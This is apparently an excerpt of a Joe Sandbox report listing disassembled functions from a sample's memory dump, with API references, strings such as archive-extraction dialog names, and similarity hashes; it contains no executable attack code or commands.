Opcode ID: ad1a7b5b1ce9bda775b0f0592a5b0baf7b3449056c42f1082e4b8a59de9d0777
Instruction ID: da8a9a66b075db6702cd4bcecd4f3c6a417e6a3693b660636d95e5bd63961486
Opcode Fuzzy Hash: ad1a7b5b1ce9bda775b0f0592a5b0baf7b3449056c42f1082e4b8a59de9d0777
Instruction Fuzzy Hash: 96F0DA70865722DFC601AF18FC828067BA1F72572134B0606F419D7375DB7209518BF9

Function 00D32948 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D32B06
_swprintf.LIBCMT ref: 00D32BB5

Strings

%ls, xrefs: 00D3298B, 00D329A1
%s: %s, xrefs: 00D32B15

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: cf329d01378c7c1acf13778cf75160dc0930cae9ee9412d68ccbf68bcb0b863c
Instruction ID: b2479fdba5511406d8035909c51fe6e5984724ce5b360ae3e57df2ff54d78b85
Opcode Fuzzy Hash: cf329d01378c7c1acf13778cf75160dc0930cae9ee9412d68ccbf68bcb0b863c
Instruction Fuzzy Hash: 18518F32EC8304FAEA215B949C02F36B665AF14F06F244916F7CA644E9C6A2D550AF36

Function 00D49330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\4.exe,00000104), ref: 00D49370
_free.LIBCMT ref: 00D4943B
_free.LIBCMT ref: 00D49445

Strings

C:\Program Files (x86)\4.exe, xrefs: 00D49367, 00D4936E, 00D4939D, 00D493D5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Program Files (x86)\4.exe
API String ID: 2506810119-4015062126
Opcode ID: 8a9b46ac67d3bea45f4be7cf8fc1bb08b9bf45fd3f2d5d35adacc5ca8a4efcb4
Instruction ID: 7f0b5d109470a0f7ee3a42192a4b036469023f982f040c6d7ba496ef603356d1
Opcode Fuzzy Hash: 8a9b46ac67d3bea45f4be7cf8fc1bb08b9bf45fd3f2d5d35adacc5ca8a4efcb4
Instruction Fuzzy Hash: 55318C71A00219EFDB21DF9ADC95D9FFBF8EB86720F1440A6F90897241D7709A418BB1

Function 00D44366 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00D4438B
_abort.LIBCMT ref: 00D44496

Strings

RCC, xrefs: 00D443A5
MOC, xrefs: 00D4439D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: e9440cebed987c7958113bdbcb5b41b03e16a78eaf12e0df5b9a09114d8a1687
Instruction ID: a3295c2c97e91d51f4b1cf2d4b18f0dc71316a8077494875f0eb92612c9f3ae6
Opcode Fuzzy Hash: e9440cebed987c7958113bdbcb5b41b03e16a78eaf12e0df5b9a09114d8a1687
Instruction Fuzzy Hash: E1417C71900209AFCF15DFA8DC81BEE7BB5FF08304F188059F90867221D3759991DB60

Function 00D27F1B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D27F20

Part of subcall function 00D242F1: __EH_prolog.LIBCMT ref: 00D242F6

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00D27FE5

Part of subcall function 00D28704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D28713
Part of subcall function 00D28704: GetLastError.KERNEL32 ref: 00D28759
Part of subcall function 00D28704: CloseHandle.KERNEL32(?), ref: 00D28768

Strings

SeSecurityPrivilege, xrefs: 00D27F62
SeRestorePrivilege, xrefs: 00D27F77

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 2411f423b1bc45a1ebc1b42489a013d44e7866041acda028702755c6669c64cf
Instruction ID: c2d719bd63890d1db713dfb3f7facf97a49b5a2b12d373ba2278a36233d84718
Opcode Fuzzy Hash: 2411f423b1bc45a1ebc1b42489a013d44e7866041acda028702755c6669c64cf
Instruction Fuzzy Hash: 3B31C2319443A4AEDF30EB64AD02BEE7BA9EF24359F044025F804E6295CBB48948DB71

Function 00D3BDE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

EndDialog.USER32(?,00000001), ref: 00D3BE68
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00D3BE7D
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D3BE92

Strings

ASKNEXTVOL, xrefs: 00D3BDF8

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 530cb023c472f94f2f038c1bed10ab049651f459efb04ebff27c0665aab30150
Instruction ID: ec5378229303c7d2427d81c027e82d45a4ff190ce5a8f1d8423c0be6c1305378
Opcode Fuzzy Hash: 530cb023c472f94f2f038c1bed10ab049651f459efb04ebff27c0665aab30150
Instruction Fuzzy Hash: 7C11E232200221BFD6119F6CEC0AFBA3BA9EB5AB50F080416F740FB2B4C76299059775

Function 00D2EC0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00D2EC74
_strncpy.LIBCMT ref: 00D2ECBA

Part of subcall function 00D330F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D63070,00000200,00D2EC48,00000000,?,00000050,00D63070), ref: 00D33112

Strings

$%s, xrefs: 00D2EC69
@%s, xrefs: 00D2EC5E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 8a0f50c97f549453dcc2cd4f84a5154f66a337b2f07411bbd097ab9b2d08339e
Instruction ID: 75aeea9eb41a01d8e1192d4cac44a0f3aa4226776ee5910bfad30f77c53baf02
Opcode Fuzzy Hash: 8a0f50c97f549453dcc2cd4f84a5154f66a337b2f07411bbd097ab9b2d08339e
Instruction Fuzzy Hash: 5A219072440318AEEF20EEE4DD42FEF3BA8EF14708F040522F91196191E371D658AB71

Function 00D32166 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00D2C04A,00000008,?,00000000,?,00D2E685,?,00000000), ref: 00D321A5
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00D2C04A,00000008,?,00000000,?,00D2E685,?,00000000), ref: 00D321AF
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00D2C04A,00000008,?,00000000,?,00D2E685,?,00000000), ref: 00D321BF

Strings

Thread pool initialization failed., xrefs: 00D321D7

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: b085621c69968e991b7faab647f3ed99c415973993aeb3cd40bcb8036d8e6b74
Instruction ID: 2ca4117d9bea68f119b80e32bc25ab9fc320ecb913ff8ef9b9d452b0518686a7
Opcode Fuzzy Hash: b085621c69968e991b7faab647f3ed99c415973993aeb3cd40bcb8036d8e6b74
Instruction Fuzzy Hash: CC11A3B1A04709AFC3215F7A9C84AA7FBECFB65359F24482EF6D6C3240D67159808B70

Function 00D3C460 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

EndDialog.USER32(?,00000001), ref: 00D3C4AE
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 00D3C4C6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00D3C4F4

Strings

GETPASSWORD1, xrefs: 00D3C479

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 7c236d00102273065b4c62023c7c5a6b6a0e226e73af8113a65a2fb67613b1d1
Instruction ID: 2cade6f62886072a099cb4258931a12f4850355a7b5b608d045def2c751f027e
Opcode Fuzzy Hash: 7c236d00102273065b4c62023c7c5a6b6a0e226e73af8113a65a2fb67613b1d1
Instruction Fuzzy Hash: 7D11C476A20218BADB209A68AD59FFB3B6CEB45714F040021FB45F6184C274E9069775

Function 00D3EE2D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00D3EE81
REPLACEFILEDLG, xrefs: 00D3EE6C, 00D3EEA0

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: cc8fec66e3fef45fa9423d52f5140a7c53aa8609f8a70e6414e31df68393502f
Instruction ID: 832fbcd6fb4b88645f029c13087af7fa2b9356f989ce356f67505bb951761d9f
Opcode Fuzzy Hash: cc8fec66e3fef45fa9423d52f5140a7c53aa8609f8a70e6414e31df68393502f
Instruction Fuzzy Hash: 81011A72A08345AFDB118F68FC48A577BA9AB05794F140025F949E33F0D6B2EC64DBB1

Function 00D24957 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00D2495C

Part of subcall function 00D3FD1D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D3FD29
Part of subcall function 00D3FD1D: ___delayLoadHelper2@8.DELAYIMP ref: 00D3FD4F

std::_Xinvalid_argument.LIBCPMT ref: 00D24967

Strings

string too long, xrefs: 00D24957
vector too long, xrefs: 00D24962

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: ac7fb4e2696d2acbce28de918515288375230740e1640c3ba1694004b4130b44
Instruction ID: 30cfab5733b49d15f6e7f26b5220b12f0385919af6fed40024f4d21ca6929216
Opcode Fuzzy Hash: ac7fb4e2696d2acbce28de918515288375230740e1640c3ba1694004b4130b44
Instruction Fuzzy Hash: BBF0A7312003146B4664AF59FC4584BB3EDEF95B55710051AFE45C3605D7B0E984CFB2

Function 00D4ABDA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D4AC65
__alldvrm.LIBCMT ref: 00D4AE66
__alldvrm.LIBCMT ref: 00D4AE88

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction ID: e5d19a295f5c03dc7bb190c2208744a0c55a14574a9f6d3885c78ebe11c02bf8
Opcode Fuzzy Hash: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction Fuzzy Hash: AFA13672A807869FDB22CF1CC8917AEBBE5EF15310F18416DE8959B282D7388D41C772

Function 00D2B74D Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00D28D5C,?,?,?), ref: 00D2B7F3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,00D28D5C,?,?), ref: 00D2B837
SetFileTime.KERNEL32(?,00D28AEC,?,00000000,?,00000800,?,00D28D5C,?,?,?,?,?,?,?,?), ref: 00D2B8B8
CloseHandle.KERNEL32(?,?,00000800,?,00D28D5C,?,?,?,?,?,?,?,?,?,?), ref: 00D2B8BF

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: a1ded890fcea17a4d61e573ed0b133d1f2076bc50b50111514c8632b87d6f19b
Instruction ID: b9298a275f87da66fe4db0f4814321a4798f45178b752f60e54b91bfb1fd6480
Opcode Fuzzy Hash: a1ded890fcea17a4d61e573ed0b133d1f2076bc50b50111514c8632b87d6f19b
Instruction Fuzzy Hash: 4F41F3301483919AE720DF24EC41BAABBE89FA0328F08091EF5D5D31D1D7A49A48DB72

Function 00D210E0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D2110B
_wcslen.LIBCMT ref: 00D21133
_wcslen.LIBCMT ref: 00D21162
_wcslen.LIBCMT ref: 00D21189

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 1347aeabfe4af0b5878a719b975222fcf429429f757acba6404131e2d91050ee
Instruction ID: c790ae47d61b6d2b7fb049572899933c33bb4918bf9f213339af7bffe1a9ad87
Opcode Fuzzy Hash: 1347aeabfe4af0b5878a719b975222fcf429429f757acba6404131e2d91050ee
Instruction Fuzzy Hash: E741C275A0062A9BCB119F689C09AEEBBB8EF54350F044029FD45F7245DE30AD898BF0

Function 00D2851F Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D28532
_wcslen.LIBCMT ref: 00D28558
_wcslen.LIBCMT ref: 00D285EF
_wcslen.LIBCMT ref: 00D28657

Part of subcall function 00D2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D2B991

Part of subcall function 00D2B41F: RemoveDirectoryW.KERNEL32(?,?,?,00D28649,?), ref: 00D2B430
Part of subcall function 00D2B41F: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,00D28649,?), ref: 00D2B45E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction ID: 5877ed1fcc6dbb2aa102a5da5df95564cac97046f37ddc193dd4bdda1ea43b3e
Opcode Fuzzy Hash: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction Fuzzy Hash: DC31C3718012789BCF21AF64AC41BEE3365EF64389F084496F849A7149EF74DEC5DAB0

Function 00D4DB48 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00D4A871,?,00000000,?,00000001,?,?,00000001,00D4A871,?), ref: 00D4DB95
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D4DC1E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D480B1,?), ref: 00D4DC30
__freea.LIBCMT ref: 00D4DC39

Part of subcall function 00D4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D4DBEC,00000000,?,00D480B1,?,00000008,?,00D4A871,?,?,?), ref: 00D4A830

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: b3c9f1c73cab43cd3611fdd315fac5a11f045f9f4f8e469b455c9d065f049adc
Instruction ID: 5504ba84056e277bebe9cd4f2aedc6d23e4f84258699b5330e7650152aeafe98
Opcode Fuzzy Hash: b3c9f1c73cab43cd3611fdd315fac5a11f045f9f4f8e469b455c9d065f049adc
